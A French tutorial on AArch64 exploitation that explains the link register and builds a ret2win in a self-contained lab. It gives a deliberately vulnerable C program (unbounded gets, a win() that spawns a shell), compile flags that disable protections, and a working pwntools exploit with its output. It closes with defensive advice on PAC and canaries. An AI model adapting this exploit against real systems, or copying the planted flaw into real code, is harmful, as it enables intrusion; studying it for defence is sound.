Exploitation ARM64 : le registre de lien et ret2win
Sur AArch64 l'adresse de retour vit dans un registre, pas sur la pile — jusqu'à ce qu'une fonction non-feuille la sauvegarde. Construisez le ret2win ARM.
Ceci est le premier tutoriel de l'espace Exploitation ARM64. Tout ce que contient la série x86-64 — ret2win, ROP, ret2libc — possède un équivalent ARM, mais la mécanique diffère sur un point structurel qui façonne tout le reste : l'adresse de retour vit dans un registre. Ce guide construit le ret2win ARM et montre exactement où se trouve le registre de lien sauvegardé.
Votre propre binaire, labo jetable. Voir les règles du labo. Sur les hôtes x86, compilez de manière croisée et exécutez sous QEMU comme indiqué ci-dessus.
Le modèle de registres AArch64
Les arguments passent par x0–x7, la valeur de retour par x0. Les registres qui comptent pour le flot de contrôle :
| Registre | Rôle |
|---|---|
x0–x7 | Arguments de fonction / valeur de retour |
x19–x28 | Sauvegardés par l'appelé (préservés entre les appels) |
x29 | Pointeur de cadre (fp) |
x30 | Registre de lien (lr) — l'adresse de retour |
sp | Pointeur de pile (doit rester aligné sur 16 octets) |
pc | Compteur de programme |
bl func positionne x30 = <adresse après le bl> puis branche. ret branche vers x30. Il n'y a aucune adresse de retour sur la pile — jusqu'à ce qu'une fonction ait besoin de faire ses propres appels.
Feuille vs non-feuille : où atterrit l'adresse de retour
Une fonction feuille n'appelle rien, donc elle ne modifie jamais x30 ; un débordement de tampon dans une telle fonction ne peut atteindre aucune adresse de retour sauvegardée (il n'y en a pas). Une fonction non-feuille doit préserver x30 pendant les appels qu'elle effectue : son prologue sauvegarde donc le pointeur de cadre et le registre de lien sur la pile :
stp x29, x30, [sp, #-0x50]! ; save fp + lr, allocate frame
... ; body, including local buffers
ldp x29, x30, [sp], #0x50 ; restore fp + lr
ret ; branch to x30 (now attacker-controlled?)
Ce x30 sauvegardé se situe au-dessus des variables locales : un débordement l'écrase, et l'épilogue recharge la valeur corrompue directement dans x30 avant le ret :
- ◀ rsp
buf[64]tampon local où débute le débordement saved x29pointeur de cadresaved x30 (lr)adresse de retour — la cible de l'écrasement
Écrasez le x30 sauvegardé, et après le ret le processeur saute où vous l'avez choisi.
La cible
/* vuln.c — AArch64. win() is never called; vuln() is non-leaf (calls puts/gets). */
#include <stdio.h>
#include <stdlib.h>
void win(void) {
puts("[+] control-flow hijacked on AArch64");
system("/bin/sh");
}
void vuln(void) {
char buf[64];
puts("Name?");
gets(buf); /* the bug (CWE-121) */
printf("Hello, %s\n", buf);
}
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }
Compilez pour AArch64 avec les mitigations désactivées (pas de canari, pas de PIE et — crucial pour ARM — pas d'authentification de pointeur, traitée dans le guide 3) :
aarch64-linux-gnu-gcc -fno-stack-protector -no-pie \
-mbranch-protection=none -O0 -g -o vuln vuln.c
Trouver le décalage et sauter vers win()
pwntools pilote QEMU et connaît la disposition AArch64. La méthode cyclique est inchangée, seul context.arch diffère :
# exploit.py
from pwn import *
context.binary = elf = ELF("./vuln") # sets context.arch = 'aarch64'
# 1) offset to the saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", cyclic(200, n=8))
io.wait()
off = cyclic_find(io.corefile.read(io.corefile.sp, 8), n=8)
log.success("offset to saved lr: %d", off) # 72 = 64 buf + 8 saved x29
# 2) overwrite the saved lr with win()
payload = flat({72: p64(elf.symbols["win"])})
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", payload)
io.interactive()
$ python3 exploit.py
[+] offset to saved lr: 72
[*] Switching to interactive mode
[+] control-flow hijacked on AArch64
$ id
uid=1000(lab) gid=1000(lab)
Le ldp de l'épilogue de vuln a chargé notre valeur dans x30 ; ret a branché vers win. Notez l'alignement strict de la pile sur 16 octets d'AArch64 : si win se comporte mal, assurez-vous que sp reste aligné — l'équivalent ARM du problème movaps de x86.
Réactiver les mitigations
| Mitigation | Effet sur le ret2win ARM |
|---|---|
Canari de pile (-fstack-protector-strong) | Détecte le débordement avant que l'épilogue ne restaure x30 |
| PIE + ASLR | Rend win() aléatoire ; un saut à l'aveugle nécessite une fuite |
PAC (-mbranch-protection=pac-ret) | Signe le x30 sauvegardé ; un retour falsifié échoue à l'authentification — voir le guide 3 |
PAC est la mitigation propre à ARM et la raison d'être de cet espace : sur un build compilé avec PAC, écraser le x30 sauvegardé ne suffit pas, car l'épilogue l'authentifie avant le ret.
Ce que cela apprend à un défenseur
- « L'adresse de retour est dans un registre » n'est pas une mitigation. Cela ne protège que les fonctions feuilles. Toute fonction qui effectue un appel déverse
lrsur la pile, où un débordement l'atteint. Ne supposez pas qu'AArch64 est intrinsèquement à l'abri du stack smashing. - Activez l'authentification de pointeur.
-mbranch-protection=pac-ret(oustandard) est le drapeau au plus fort rendement sur ARM moderne, et il vise exactement cet écrasement. Vérifiez que votre build émet réellementpaciasp/autiasp. - Le bug reste un unique
getsnon borné. L'architecture change la mécanique d'exploitation, pas la cause racine — bornez la copie, voir débordements de tampon de pile.
Points clés à retenir
- AArch64 conserve l'adresse de retour dans
x30(lr) ;blla positionne,rety branche. - Les fonctions feuilles n'ont aucune adresse de retour sauvegardée à écraser ; les fonctions non-feuilles déversent
x29/x30sur la pile, où un débordement atteint lelrsauvegardé. - Le ret2win a la même forme que sur x86 : trouver le décalage, écraser le
lrsauvegardé, sauter verswin()— attention à l'alignement despsur 16 octets. - Le canari, PIE et surtout PAC brisent chacun une étape différente ; PAC authentifie le
lrsauvegardé avant leret.
Suite : ROP sur ARM64, où les gadgets se terminent par ret et où la chaîne est enfilée à travers le registre de lien.